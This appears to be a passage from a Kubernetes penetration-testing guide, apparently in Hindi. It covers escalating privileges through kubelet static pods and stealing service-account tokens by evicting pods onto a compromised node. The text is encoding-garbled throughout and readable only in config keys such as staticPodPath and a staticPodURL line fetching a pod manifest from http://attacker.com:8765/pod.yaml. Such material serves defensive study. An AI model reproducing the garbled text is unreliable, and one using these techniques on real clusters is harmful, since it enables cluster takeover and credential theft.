рдХрд┐рд╕реА рдЕрдиреНрдп API рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рд╕рдВрджрд░реНрдн рдирд╣реАрдВ рдХрд░ рд╕рдХрддреА (рдЬреИрд╕реЗ, рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛, рдХреЙрдиреНрдлрд╝рд┐рдЧрдореИрдк, рд╕реАрдХреНрд░реЗрдЯ, рдЖрджрд┐)ред рдЗрд╕рд▓рд┐рдП рдЖрдк рд╡рд░реНрддрдорд╛рди рдиреЛрдб рдореЗрдВ рдХрд┐рд╕реА рднреА рд╡рд┐рдЪрд┐рддреНрд░ рд╕реЗрд╡рд╛ рдЦрд╛рддрд╛ рдХреЗ рд╕рд╛рде рдПрдХ рдкреЙрдб рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред рд▓реЗрдХрд┐рди рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЕрд▓рдЧ рдиреЗрдорд╕реНрдкреЗрд╕ рдореЗрдВ рдкреЙрдбреНрд╕ рдЪрд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП (рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИ)ред
рдЕрдЧрд░ рдЖрдк рдиреЛрдб рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ рд╣реИрдВ рддреЛ рдЖрдк рдЗрд╕реЗ рдЕрдкрдиреЗ рдЖрдк рдореЗрдВ рдПрдХ рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рдХрд╛рдлреА рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдЖрдкрдХреЛ рдПрдХ рд╡рд┐рднрд┐рдиреНрди рдиреЗрдорд╕реНрдкреЗрд╕ рдЬреИрд╕реЗ kube-system рдореЗрдВ рдкреЙрдб рдмрдирд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреА рд╕рдХреНрд╖рдорддрд╛ рджреЗ рд╕рдХрддрд╛ рд╣реИред
рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП, рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдорджрджрдЧрд╛рд░ рд╣реИрдВред рдЖрдкрдХреЛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ 2 рдЪреАрдЬреЗрдВ рдЪрд╛рд╣рд┐рдП:
--pod-manifest-path=/etc/kubernetes/manifests
рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ kubelet рд╕реЗрд╡рд╛ рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░реЗрдВ, рдпрд╛ kubelet рдХреЙрдиреНрдлрд╝рд┐рдЧ рдореЗрдВ (staticPodPath) рдФрд░ рд╕реЗрд╡рд╛ рдХреЛ рдкреБрдирдГ рдЖрд░рдВрдн рдХрд░реЗрдВ/etc/kubernetes/manifests
рдореЗрдВ рдкреЙрдб рдкрд░рд┐рднрд╛рд╖рд╛ рдкрд░ рдкрд░рд┐рднрд╛рд╖рд╛ рдмрдирд╛рдПрдВ
рдПрдХ рдФрд░ рдЕрдзрд┐рдХ рдЫрд┐рдкреА рд╣реБрдИ рддрд░реАрдХрд╛ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ:
kubelet рдХреЙрдиреНрдлрд╝рд┐рдЧ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдкреИрд░рд╛рдореАрдЯрд░
staticPodURL
рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░реЗрдВ рдФрд░ рдХреБрдЫ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд╕реЗрдЯ рдХрд░реЗрдВstaticPodURL: http://attacker.com:8765/pod.yaml
ред рдпрд╣ рдХреБрдмрд▓реЗрдЯ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ URL рд╕реЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде рд╕реНрдереИрддрд┐рдХ рдкреЙрдб рдмрдирд╛рдиреЗ рдХреА рдХрд░реЗрдЧрд╛ред
рдкреЙрдб рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХрд╛ рдЙрджрд╛рд╣рд░рдг рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреЙрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП kube-system рдореЗрдВ рдпрд╣рд╛рдБ рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
рдкреЙрдбреНрд╕ + рдЕрдирд╕реНрдХреЗрдЬреНрдпреВрд▓реЗрдмрд▓ рдиреЛрдбреНрд╕ рдХреЛ рд╣рдЯрд╛рдПрдВ
рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рдПрдХ рдиреЛрдб рдХреЛ рдХрдВрдкреНрд░реЛрдорд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рд╣реИ рдФрд░ рд╡рд╣ рдЕрдиреНрдп рдиреЛрдбреНрд╕ рд╕реЗ рдкреЙрдбреНрд╕ рдХреЛ рд╣рдЯрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЕрдиреНрдп рдиреЛрдбреНрд╕ рдХреЛ рдкреЙрдбреНрд╕ рдХреЛ рдирд╣реАрдВ рдЪрд▓рд╛ рд╕рдХрддрд╛, рддреЛ рдкреЙрдбреНрд╕ рдХреЛ рдХрдВрдкреНрд░реЛрдорд╛рдЗрдЬрд╝ рдиреЛрдб рдореЗрдВ рдлрд┐рд░ рд╕реЗ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдЙрд╕реЗ рдЙрдирдореЗрдВ рдЪрд▓рд╛рдП рдЧрдП рдЯреЛрдХрдиреНрд╕ рдЪреБрд░рд╛ рд╕рдХреЗрдЧрд╛ред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ.
рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг
Last updated